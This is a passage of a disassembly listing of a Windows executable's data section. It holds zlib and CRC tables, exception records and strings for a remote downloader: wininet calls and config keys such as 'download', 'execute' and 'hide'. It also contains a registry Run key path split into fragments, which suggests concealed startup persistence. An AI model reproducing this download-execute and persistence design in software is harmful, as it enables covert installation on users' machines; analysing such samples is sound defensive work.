21h, 900h dd 0A3h, 800h, 1, 800h, 81h, 800h, 41h, 900h, 0E3h, 750h dd 6, 800h, 59h, 800h, 19h, 900h, 93h, 753h, 3Bh, 800h dd 79h, 800h, 39h, 900h, 0D3h, 751h, 11h, 800h, 69h, 800h dd 29h, 900h, 0B3h, 800h, 9, 800h, 89h, 800h, 49h, 900h dd 0F3h, 750h, 4, 800h, 55h, 800h, 15h, 850h, 102h, 753h dd 2Bh, 800h, 75h, 800h, 35h, 900h, 0CBh, 751h, 0Dh, 800h dd 65h, 800h, 25h, 900h, 0ABh, 800h, 5, 800h, 85h, 800h dd 45h, 900h, 0EBh, 750h, 8, 800h, 5Dh, 800h, 1Dh, 900h dd 9Bh, 754h, 53h, 800h, 7Dh, 800h, 3Dh, 900h, 0DBh, 752h dd 17h, 800h, 6Dh, 800h, 2Dh, 900h, 0BBh, 800h, 0Dh, 800h dd 8Dh, 800h, 4Dh, 900h, 0FBh, 750h, 3, 800h, 53h, 800h dd 13h, 855h, 0C3h, 753h, 23h, 800h, 73h, 800h, 33h, 900h dd 0C7h, 751h, 0Bh, 800h, 63h, 800h, 23h, 900h, 0A7h, 800h dd 3, 800h, 83h, 800h, 43h, 900h, 0E7h, 750h, 7, 800h dd 5Bh, 800h, 1Bh, 900h, 97h, 754h, 43h, 800h, 7Bh, 800h dd 3Bh, 900h, 0D7h, 752h, 13h, 800h, 6Bh, 800h, 2Bh, 900h dd 0B7h, 800h, 0Bh, 800h, 8Bh, 800h, 4Bh, 900h, 0F7h, 750h dd 5, 800h, 57h, 800h, 17h, 8C0h, 0 dd 753h, 33h, 800h, 77h, 800h, 37h, 900h, 0CFh, 751h, 0Fh dd 800h, 67h, 800h, 27h, 900h, 0AFh, 800h, 7, 800h, 87h dd 800h, 47h, 900h, 0EFh, 750h, 9, 800h, 5Fh, 800h, 1Fh dd 900h, 9Fh, 754h, 63h, 800h, 7Fh, 800h, 3Fh, 900h, 0DFh dd 752h, 1Bh, 800h, 6Fh, 800h, 2Fh, 900h, 0BFh, 800h, 0Fh dd 800h, 8Fh, 800h, 4Fh, 900h, 0FFh dword_434340 dd 550h, 1, 557h, 101h, 553h, 11h, 55Bh, 1001h, 551h, 5 ; DATA XREF: sub_42D0BB+21o dd 559h, 401h, 555h, 41h, 55Dh, 4001h, 550h, 3, 558h, 201h dd 554h, 21h, 55Ch, 2001h, 552h, 9, 55Ah, 801h, 556h, 81h dd 5C0h, 6001h, 550h, 2, 557h, 181h, 553h, 19h, 55Bh, 1801h dd 551h, 7, 559h, 601h, 555h, 61h, 55Dh, 6001h, 550h, 4 dd 558h, 301h, 554h, 31h, 55Ch, 3001h, 552h, 0Dh, 55Ah dd 0C01h, 556h, 0C1h, 5C0h, 6001h dword_434440 dd 10h ; sub_42B1FD+A13r dd 11h, 12h, 0 dd 8, 7, 9, 6, 0Ah, 5, 0Bh, 4, 0Ch, 3, 0Dh, 2, 0Eh, 1 dd 0Fh aInflate1_1_3Co db ' inflate 1.1.3 Copyright 1995-1998 Mark Adler ',0 align 4 dword_4344BC dd 3, 4, 5, 6, 7, 8, 9, 0Ah, 0Bh, 0Dh, 0Fh, 11h, 13h, 17h ; DATA XREF: sub_42CF36+50o dd 1Bh, 1Fh, 23h, 2Bh, 33h, 3Bh, 43h, 53h, 63h, 73h, 83h dd 0A3h, 0C3h, 0E3h, 102h, 2 dup(0) dword_434538 dd 8 dup(0) dd 4 dup(1), 4 dup(2), 4 dup(3), 4 dup(4), 4 dup(5), 0 dd 2 dup(70h) dword_4345B4 dd 1, 2, 3, 4, 5, 7, 9, 0Dh, 11h, 19h, 21h, 31h, 41h, 61h ; DATA XREF: sub_42CF36+D9o dd 81h, 0C1h, 101h, 181h, 201h, 301h, 401h, 601h, 801h dd 0C01h, 1001h, 1801h, 2001h, 3001h, 4001h, 6001h dword_43462C dd 4 dup(0) dd 2 dup(1), 2 dup(2), 2 dup(3), 2 dup(4), 2 dup(5), 2 dup(6) dd 2 dup(7), 2 dup(8), 2 dup(9), 2 dup(0Ah), 2 dup(0Bh) dd 2 dup(0Ch), 2 dup(0Dh) dword_4346A4 dd 0 ; sub_42D7C5+3Ar ... dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h, 0E0D5E91Eh dd 97D2D988h, 9B64C2Bh, 7EB17CBDh, 0E7B82D07h, 90BF1D91h dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh, 1ADAD47Dh dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h, 646BA8C0h dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h, 0FA0F3D63h dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h, 0A2677172h dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh, 0E10E9818h dd 7F6A0DBBh, 86D3D2Dh, 91646C97h, 0E6635C01h, 6B6B51F4h dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh, 1B01A57Bh dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h, 8BBEB8EAh dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h, 0FBD44C65h dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h, 0E40ECF0Bh dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h, 8708A3D2h dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh, 196C3671h dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah, 67DD4ACCh dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h, 0D6D6A3E8h dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch, 26D930Ah dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh, 0E5D5BE0Dh dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h, 68DDB3F8h dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h, 18B74777h dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch, 8F659EFFh dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh byte_434AA4 db 20h ; DATA XREF: sub_42ED22:loc_42ED3Ar aUnzip0_15Copyr db 'unzip 0.15 Copyright 1998 Gilles Vollant ',0 align 10h dd offset dword_434B20 off_434AD4 dd offset sub_43182F ; DATA XREF: TEUm:00437020o ; TEUm:off_437030o ... dword_434AD8 dd 0FFFFFFFFh, 431A58h, 431A6Ch, 434B68hoff_434AE8 dd offset sub_429CC0 ; DATA XREF: sub_429C60+26o ; sub_429CF0+Ao ... align 10h off_434AF0 dd offset off_437C20 ; DATA XREF: TEUm:00434B08o dd 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) dd offset off_434AF0 dword_434B0C dd 3 dup(0) dd 1, 434B08h dword_434B20 dd 3 dup(0) dd offset off_437C20 dd offset dword_434B0C+4 align 8 off_434B38 dd offset off_437C58 ; DATA XREF: TEUm:00434B50o dd 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) dd offset off_434B38 dd 0 db 0 ; DATA XREF: TEUm:00434B78o db 0 db 0 db 0 db 0 db 0 db 0 db 0 dd 1, 434B50h, 3 dup(0) dd offset off_437C58 dd offset unk_434B58 align 10h dword_434B80 dd 19930520h, 2, 434BA0h, 1, 434BB0h, 3 dup(0) dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 434BC8h, 4 dup(0) dd offset loc_42119D dword_434BD8 dd 19930520h, 2, 434BF8h, 1, 434C08h, 3 dup(0) dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 434C20h, 4 dup(0) dd offset loc_421245 dword_434C30 dd 19930520h, 3, 434C50h, 1, 434C68h, 3 dup(0) dd 0FFFFFFFFh, 431D14h, 4 dup(0) dd 2 dup(1), 2, 1, 434C80h, 4 dup(0) dd offset loc_421402 dword_434C90 dd 19930520h, 2, 434CB0h, 1, 434CC0h, 3 dup(0) dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 434CD8h, 4 dup(0) dd offset loc_4215A1 dword_434CE8 dd 19930520h, 2, 434D08h, 1, 434D18h, 3 dup(0) dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 434D30h, 4 dup(0) dd offset loc_4217D7 dword_434D40 dd 19930520h, 2, 434D60h, 1, 434D70h, 3 dup(0) dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 434D88h, 4 dup(0) dd offset loc_421966 dd 1, 437020h, 0 dd 0FFFFFFFFh, 0 dd 4, 2 dup(0) dword_434DB8 dd 1, 434D98h dword_434DC0 dd 3 dup(0) ; TEUm:004212E6o ... dd offset dword_434DB8 dword_434DD0 dd 19930520h, 2, 434DF0h, 1, 434E00h, 3 dup(0) dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 434E18h, 2 dup(0) dd offset off_437030 dd 0FFFFFEC0h, 421D58h dword_434E28 dd 19930520h, 4, 434E48h, 5 dup(0) dd 0FFFFFFFFh, 431D75h, 0 dd offset sub_431D5A dd 1, 431D63h, 2, 431D6Ch dword_434E68 dd 19930520h, 0Bh, 434E88h, 5 dup(0) dd 0FFFFFFFFh, 431D98h, 0 dd offset loc_431DA0 dd 1, 431DABh, 2, 431DB6h, 3, 431DC1h, 4, 431DCCh, 5, 431DD7h dd 6, 431DE2h, 7, 431DEDh, 8, 431DFBh, 9, 431E03h dword_434EE0 dd 19930520h, 8, 434F00h, 5 dup(0) dd 0FFFFFFFFh, 431E18h, 0 dd offset loc_431E20 dd 1, 431E2Bh, 2, 431E36h, 3, 431E41h, 4, 431E4Ch, 5, 431E57h dd 6, 431E62h dword_434F40 dd 19930520h, 2, 434F60h, 1, 434F70h, 3 dup(0) dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 434F88h, 4 dup(0) dd offset loc_422F06 dword_434F98 dd 19930520h, 3, 434FB8h, 5 dup(0) dd 0FFFFFFFFh, 431E94h, 0 dd offset loc_431E84 dd 1, 431E8Ch dword_434FD0 dd 19930520h, 4, 434FF0h, 5 dup(0) dd 0FFFFFFFFh, 431ED0h, 0 dd offset loc_431EB8 dd 1, 431EC0h, 2, 431EC8h dword_435010 dd 19930520h, 20h, 435030h, 5 dup(0) dd 0FFFFFFFFh, 431EF4h, 0 dd offset loc_431EFC dd 1, 431F04h, 1, 431F0Fh, 1, 431F1Ah, 1, 431F25h, 1, 431F30h dd 1, 431F38h, 1, 431F43h, 1, 431F4Bh, 1, 431F56h, 1, 431F61h dd 1, 431F69h, 1, 431F74h, 1, 431F7Ch, 0Eh, 431F84h, 0Fh dd 431F8Ch, 0Fh, 431F97h, 0Fh, 431FA2h, 0Fh, 431FADh, 0Fh dd 431FB8h, 0Fh, 431FC3h, 0Fh, 431FCEh, 0Fh, 431FD9h, 0Fh dd 431FE4h, 0Fh, 431FECh, 0Fh, 431FF4h, 0Fh, 431FFCh, 0Fh dd 432004h, 0Fh, 43200Ch, 0Fh, 432017h, 0Fh, 432022h dword_435130 dd 19930520h, 1, 435150h, 5 dup(0) dd 0FFFFFFFFh, 432038h dword_435158 dd 19930520h, 1, 435178h, 5 dup(0) dd 0FFFFFFFFh, 43204Ch dword_435180 dd 19930520h, 4, 4351A0h, 5 dup(0) dd 0FFFFFFFFh, 432060h, 0 dd offset loc_432068 dd 1, 432070h, 1, 432078h dword_4351C0 dd 19930520h, 0Eh, 4351E0h, 5 dup(0) dd 0FFFFFFFFh, 43208Ch, 0 dd offset loc_432094 dd 0FFFFFFFFh, 43209Ch, 2, 4320A4h, 3, 4320ACh, 3, 4320B4h dd 3, 4320BCh, 3, 4320C4h, 7, 4320CCh, 8, 4320D4h, 7, 4320DCh dd 7, 4320E4h, 7, 4320EFh, 7, 4320F7h dword_435250 dd 19930520h, 2, 435270h, 5 dup(0) dd 0FFFFFFFFh, 43210Ch, 0 dd offset loc_432114 dword_435280 dd 19930520h, 0Bh, 4352A0h, 5 dup(0) dd 0FFFFFFFFh, 432128h, 0 dd offset loc_432130 dd 1, 432138h, 2, 432140h, 3, 43214Bh, 3, 432153h, 3, 43215Bh dd 6, 432166h, 6, 43216Eh, 6, 432176h, 9, 432181h dword_4352F8 dd 19930520h, 0Ah, 435318h, 5 dup(0) dd 0FFFFFFFFh, 432194h, 0 dd offset loc_43219C dd 1, 4321A4h, 2, 4321ACh, 2, 4321B4h, 4, 4321BCh, 5, 4321C4h dd 6, 4321CCh, 6, 4321D4h, 8, 4321DCh dword_435368 dd 19930520h, 6, 435388h, 5 dup(0) dd 0FFFFFFFFh, 432218h, 0 dd offset loc_4321F0 dd 1, 4321F8h, 1, 432200h, 3, 432208h, 4, 432210h dword_4353B8 dd 19930520h, 2, 4353D8h, 5 dup(0) dd 0FFFFFFFFh, 43223Ch, 0 dd offset loc_432244 dword_4353E8 dd 19930520h, 6, 435408h, 5 dup(0) dd 0FFFFFFFFh, 432280h, 0 dd offset loc_432258 dd 1, 432260h, 1, 432268h, 3, 432270h, 4, 432278h dword_435438 dd 19930520h, 6, 435458h, 5 dup(0) dd 0FFFFFFFFh, 4322CCh, 0 dd offset loc_4322A4 dd 1, 4322ACh, 1, 4322B4h, 3, 4322BCh, 4, 4322C4h dword_435488 dd 19930520h, 8, 4354A8h, 5 dup(0) dd 0FFFFFFFFh, 4322F0h, 0 dd offset loc_4322F8 dd 1, 432300h, 1, 432308h, 3, 432310h, 4, 432318h, 4, 432320h dd 6, 432328h dword_4354E8 dd 19930520h, 6, 435508h, 5 dup(0) dd 0FFFFFFFFh, 43233Ch, 0 dd offset loc_432344 dd 1, 43234Ch, 1, 432354h, 3, 43235Ch, 4, 432364h dword_435538 dd 19930520h, 6, 435558h, 5 dup(0) dd 0FFFFFFFFh, 4323A0h, 0 dd offset loc_432378 dd 1, 432380h, 1, 432388h, 3, 432390h, 4, 432398h dword_435588 dd 19930520h, 3, 4355A8h, 5 dup(0) dd 0FFFFFFFFh, 4323C4h, 0 dd offset loc_4323CC dd 1, 4323D4h dword_4355C0 dd 19930520h, 15h, 4355E0h, 5 dup(0) dd 0FFFFFFFFh, 4323E8h, 0 dd offset loc_4323F0 dd 1, 4323F8h, 2, 432400h, 3, 432408h, 3, 432410h, 3, 432418h dd 6, 432420h, 3, 432428h, 3, 432430h, 3, 432438h, 0Ah dd 432440h, 0Bh, 432448h, 0Bh, 432450h, 0Dh, 432458h, 0Eh dd 432460h, 0Dh, 0 dd 0Dh, 0 dd 0Dh, 432468h, 0Dh, 0 dd 0Dh, 0 dword_435688 dd 19930520h, 2, 4356A8h, 1, 4356B8h, 3 dup(0) dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 4356D0h, 4 dup(0) dd offset sub_426490 dword_4356E0 dd 19930520h, 1, 435700h, 5 dup(0) dd 0FFFFFFFFh, 432490h dword_435708 dd 19930520h, 4, 435728h, 5 dup(0) dd 0FFFFFFFFh, 4324A3h, 0 dd offset loc_4324AC dd 1, 4324B5h, 1, 4324BEh dword_435748 dd 19930520h, 3, 435768h, 5 dup(0) dd 0FFFFFFFFh, 4324D1h, 0 dd offset loc_4324DA dd 1, 4324E6h dword_435780 dd 19930520h, 7, 4357A0h, 5 dup(0) dd 0FFFFFFFFh, 4324FCh, 0 dd offset loc_432505 dd 1, 43250Eh, 2, 432517h, 3, 432523h, 4, 43252Fh, 4, 432538h dword_4357D8 dd 19930520h, 2, 4357F8h, 5 dup(0) dd 0FFFFFFFFh, 43254Bh, 0 dd offset loc_432554 dword_435808 dd 19930520h, 1, 435828h, 5 dup(0) dd 0FFFFFFFFh, 43256Ah dword_435830 dd 19930520h, 1, 435850h, 5 dup(0) dd 0FFFFFFFFh, 43257Dh dword_435858 dd 19930520h, 1, 435878h, 5 dup(0) dd 0FFFFFFFFh, 432590h dword_435880 dd 19930520h, 4, 4358A0h, 5 dup(0) dd 0FFFFFFFFh, 4325A3h, 0 dd offset loc_4325AC dd 1, 4325B5h, 1, 4325BEh dword_4358C0 dd 19930520h, 1, 4358E0h, 5 dup(0) dd 0FFFFFFFFh, 4325D1h dword_4358E8 dd 19930520h, 4, 435908h, 5 dup(0) dd 0FFFFFFFFh, 4325E4h, 0 dd offset loc_4325ED dd 1, 4325F6h, 1, 4325FFh dword_435928 dd 19930520h, 3, 435948h, 5 dup(0) dd 0FFFFFFFFh, 432612h, 0 dd offset loc_43261B dd 1, 432628h dword_435960 dd 19930520h, 7, 435980h, 5 dup(0) dd 0FFFFFFFFh, 43263Fh, 0 dd offset loc_432649 dd 1, 432653h, 2, 43265Ch, 3, 432669h, 4, 432676h, 4, 432680h dword_4359B8 dd 19930520h, 2, 4359D8h, 5 dup(0) dd 0FFFFFFFFh, 432694h, 0 dd offset loc_43269D dword_4359E8 dd 19930520h, 1, 435A08h, 5 dup(0) dd 0FFFFFFFFh, 4326B4h dword_435A10 dd 19930520h, 1, 435A30h, 5 dup(0) dd 0FFFFFFFFh, 4326C8h dword_435A38 dd 19930520h, 1, 435A58h, 5 dup(0) dd 0FFFFFFFFh, 4326DCh dword_435A60 dd 19930520h, 4, 435A80h, 5 dup(0) dd 0FFFFFFFFh, 4326EFh, 0 dd offset loc_4326F9 dd 1, 432702h, 1, 43270Ch dword_435AA0 dd 19930520h, 1, 435AC0h, 5 dup(0) dd 0FFFFFFFFh, 432720h dword_435AC8 dd 19930520h, 1, 435AE8h, 5 dup(0) dd 0FFFFFFFFh, 432740h dword_435AF0 dd 19930520h, 1, 435B10h, 5 dup(0) dd 0FFFFFFFFh, 432760h dword_435B18 dd 19930520h, 1, 435B38h, 5 dup(0) dd 0FFFFFFFFh, 432780h dword_435B40 dd 19930520h, 3, 435B60h, 5 dup(0) dd 0FFFFFFFFh, 4327A0h, 0 dd offset loc_4327AC dd 1, 4327B8h dword_435B78 dd 19930520h, 3, 435B98h, 5 dup(0) dd 0FFFFFFFFh, 4327E0h, 0 dd offset loc_4327EC dd 1, 4327F8h dword_435BB0 dd 19930520h, 1Ah, 435BD0h, 5 dup(0) dd 0FFFFFFFFh, 432820h, 0 dd offset loc_432829 dd 1, 432832h, 2, 43283Bh, 3, 432844h, 4, 432850h, 5, 43285Ch dd 6, 432868h, 7, 432874h, 8, 432880h, 9, 43288Ch, 0Ah dd 432898h, 0Bh, 4328A4h, 0Ch, 4328B0h, 0Dh, 4328BCh, 0Eh dd 4328C8h, 0Fh, 4328D4h, 10h, 4328E0h, 11h, 4328ECh, 12h dd 4328F8h, 13h, 432904h, 3, 432910h, 3, 43291Ch, 16h dd 432928h, 17h, 432931h, 17h, 43293Dh dword_435CA0 dd 19930520h, 8, 435CC0h, 5 dup(0) dd 0FFFFFFFFh, 432953h, 0 dd offset loc_43295F dd 0 dd offset loc_43296B dd 0 dd offset loc_432977 dd 0 dd offset loc_432983 dd 0 dd offset loc_43298F dd 0 dd offset loc_43299B dd 0 dd offset loc_4329A7 dword_435D00 dd 19930520h, 2, 435D20h, 1, 435D30h, 3 dup(0) dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 435D48h, 4 dup(0) dd offset loc_429649 dword_435D58 dd 19930520h, 1, 435D78h, 5 dup(0) dd 0FFFFFFFFh, 4329D0h dword_435D80 dd 19930520h, 1, 435DA0h, 5 dup(0) dd 0FFFFFFFFh, 4329F0h dword_435DA8 dd 19930520h, 1, 435DC8h, 5 dup(0) dd 0FFFFFFFFh, 432A10h dword_435DD0 dd 19930520h, 1, 435DF0h, 5 dup(0) dd 0FFFFFFFFh, 432A30h, 0 dd offset off_437C58 dd 0 dd 0FFFFFFFFh, 0 dd 10h, 431CC8h, 0 dword_435E18 dd 1, 435DF8h dword_435E20 dd 0 dd offset sub_429CF0 dd 0 dd offset dword_435E18 align 200h TEUm ends ; Section 2. (virtual address 00016000) ; Virtual size : 00009000 ( 36864.) ; Section size in file : 00009000 ( 36864.) ; Offset to raw data for section: 00016000 ; Flags E0000040: Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute TEUm segment para public 'CODE' use32 assume cs:TEUm ;org 436000h assume es:nothing, ss:nothing, ds:TEUm, fs:nothing, gs:nothing dword_436000 dd 400h dup(0) dword_437000 dd 0 dd offset sub_4284F0 dd offset sub_431B21 dword_43700C dd 0 dword_437010 dd 0 dword_437014 dd 3 dup(0) dd offset off_434AD4 align 8 dd 482Eh dword_43702C dd 6325h off_437030 dd offset off_434AD4 ; DATA XREF: TEUm:00434E1Co align 8 a_pavcexception db '.PAVCException@@',0 align 4 aR_0: ; DATA XREF: TEUm:00422558o unicode 0, <r>,0 aWininet_dll db 'wininet.dll',0 ; DATA XREF: sub_4227A4:loc_4227EDo aInternetopena db 'InternetOpenA',0 ; DATA XREF: sub_4227A4:loc_422808o align 4 aInternetopenur db 'InternetOpenUrlA',0 ; DATA XREF: sub_4227A4+79o align 10h aInternetcloseh db 'InternetCloseHandle',0 ; DATA XREF: sub_4227A4+8Bo aInternetreadfi db 'InternetReadFile',0 ; DATA XREF: sub_4227A4+9Do align 4 aD db '%d',0 ; DATA XREF: sub_422A1E+102o align 4 aOpen db 'OPEN',0 ; DATA XREF: sub_422C48+23Eo align 4 asc_4370B4: ; DATA XREF: sub_422C48+1B5o unicode 0, <)>,0 aCrcOkInstall db 'crc ok, Install(',0 ; DATA XREF: sub_422C48+19Bo align 4 a_old db '.old',0 ; DATA XREF: sub_422C48+159o align 4 aCrcFailed db 'crc failed:',0 ; DATA XREF: sub_422C48+E9o aInstallzip db 'InstallZip()',0Ah,0 ; DATA XREF: sub_422C48+7Bo align 10h a_bin db '.bin',0 ; DATA XREF: sub_422C48+3Do align 4 aRetryD db '&retry=%d',0 ; DATA XREF: sub_422F1F+4Co align 4 a0: ; DATA XREF: sub_425B2E+6Co unicode 0, <0>,0 a02x db '%02X',0 ; DATA XREF: sub_422FB0+D1o align 10h dword_437110 dd 0D321C942h, 2212B3F2h, 6608AB02h, 0 ; sub_4230F8+8Eo dword_437120 dd 6325h dword_437124 dd 74696E49h, 646E7542h, 0A656Chdword_437130 dd 5Ch ; sub_42552A+38o ... aWindows db 'windows',0 ; DATA XREF: sub_423489+BEBo aCrc db 'crc',0 ; DATA XREF: sub_423489:loc_423FB7o aIdentifier db 'identifier',0 ; DATA XREF: sub_423489:loc_423F40o align 4 aVersion_0 db 'version',0 ; DATA XREF: sub_423489:loc_423ECFo aNewupdater db 'newupdater',0 ; DATA XREF: sub_423489:loc_423E5Fo align 10h aWait db 'wait',0 ; DATA XREF: sub_423489:loc_423DEFo align 4 aExecute db 'execute',0 ; DATA XREF: sub_423489:loc_423D7Fo aHide db 'hide',0 ; DATA XREF: sub_423489:loc_423D0Fo align 4 aSavepath db 'SavePath',0 ; DATA XREF: sub_423489:loc_423CA4o align 4 aSaveas db 'SaveAs',0 ; DATA XREF: sub_423489:loc_423C2Do align 4 aParameters db 'parameters',0 ; DATA XREF: sub_423489:loc_423BBCo align 4 aFilename db 'filename',0 ; DATA XREF: sub_423489:loc_423B4Bo align 4 aRequiredfile db 'requiredfile',0 ; DATA XREF: sub_423489:loc_423ADAo align 4 aKeyvalue db 'keyvalue',0 ; DATA XREF: sub_423489:loc_423A69o align 10h aKey db 'key',0 ; DATA XREF: sub_423489:loc_4239FEo aRootkey db 'rootkey',0 ; DATA XREF: sub_423489+508o aDownload db 'download',0 ; DATA XREF: sub_423489:loc_423865o ; sub_424485+5Fo align 4 aWrNextupdate db 'WR\nextupdate',0 ; DATA XREF: sub_423489+3A6o align 4 aNextupdate db 'nextupdate',0 ; DATA XREF: sub_423489:loc_423754o align 4 aWrP db 'WR\p',0 ; DATA XREF: sub_423489+282o align 4 aPaid db 'paid',0 ; DATA XREF: sub_423489:loc_423633o align 4 aWrConfigversio db 'WR\configversion',0 ; DATA XREF: sub_423489+161o align 4 aConfigversio_0 db 'configversion',0 ; DATA XREF: sub_423489+84o align 4 aS db '%s',0 ; DATA XREF: sub_423489+6Eo ; sub_423489+4EAo ... align 4 aParsexml db 'ParseXML()',0Ah,0 ; DATA XREF: sub_423489+2Fo dword_437238 dd 2933BF80h, 11D27B36h, 0C0000EB2h, 603E984Fh ; sub_4243E7+19o ... dword_437248 dd 3Ah dword_43724C dd 765C5257h, 69737265h, 6E6Fh ; sub_424606+320o ... dword_437258 dd 706D742Eh, 0 dword_437260 dd 6C6F2320h, 3A64haDefaultvalue db 'defaultvalue',0 ; DATA XREF: sub_425353+88o ; sub_426022+214o align 4 asc_437278: ; DATA XREF: sub_424B41+652o unicode 0, <}>,0 a001 db '001',0 ; DATA XREF: sub_424B41+5F5o a000_1 db '000',0 ; DATA XREF: sub_424B41+5E3o a0a887397a5f2_1 db '0A887397A5F240675EEF4D35019B6883A6FA5D6C5EF8711536AC4C8FA4DA76476' ; DATA XREF: sub_424B41+4AEo db 'DE96109318D40A797',0 align 4 a000 db '0-00',0 ; DATA XREF: sub_424B41+410o align 10h a000_0 db '-000',0 ; DATA XREF: sub_424B41+3EFo align 4 a0a887397a5f2_0 db '0A887397A5F240675EEF4D35019B6883A6FA5D6C5EF8711536AC4C8FA1CA61566' ; DATA XREF: sub_424B41+32Do db '7C64A0F2DBA65B286D6',0 align 10h asc_437340: ; DATA XREF: sub_424B41+2D7o ; sub_424B41+30Eo ... unicode 0, <->,0 a0a887397a5f240 db '0A887397A5F240675EEF4D35019B6883A6FA5D6C5EF8711536AC4C8FB1D67C567' ; DATA XREF: sub_424B41+228o db '0CA643630A642B681C07D505E9B54180FA15B',0 align 4 a67f9198b db '67F9198B',0 ; DATA XREF: sub_424B41+1BAo align 4 a39 db '39',0 ; DATA XREF: sub_424B41+10Eo align 4 a67f9158b db '67F9158B',0 ; DATA XREF: sub_424B41+CBo ; sub_424B41+284o align 4 asc_4373C8: ; DATA XREF: sub_425353+F8o unicode 0, < >,0 aNner1 db 'nner1',0 ; DATA XREF: sub_425353+6Eo align 4 aUnRu db 'un\ru',0 ; DATA XREF: sub_425353+5Do align 4 aTversionR db 'tVersion\R',0 ; DATA XREF: sub_425353+4Co align 4 aFtWindowsCurre db 'ft\Windows\Curren',0 ; DATA XREF: sub_425353+3Bo align 4 aSoftwareMicros db 'SOFTWARE\Microso',0 ; DATA XREF: sub_425353+20o align 10h aGversion db 'gversion',0 ; DATA XREF: sub_42552A+5Ao align 4 aConfi db 'confi',0 ; DATA XREF: sub_42552A+49o align 4 aWr db 'WR',0 ; DATA XREF: sub_42552A+21o ; sub_425642+1Bo ... align 4 aDate db 'date',0 ; DATA XREF: sub_425642+64o align 10h aTup db 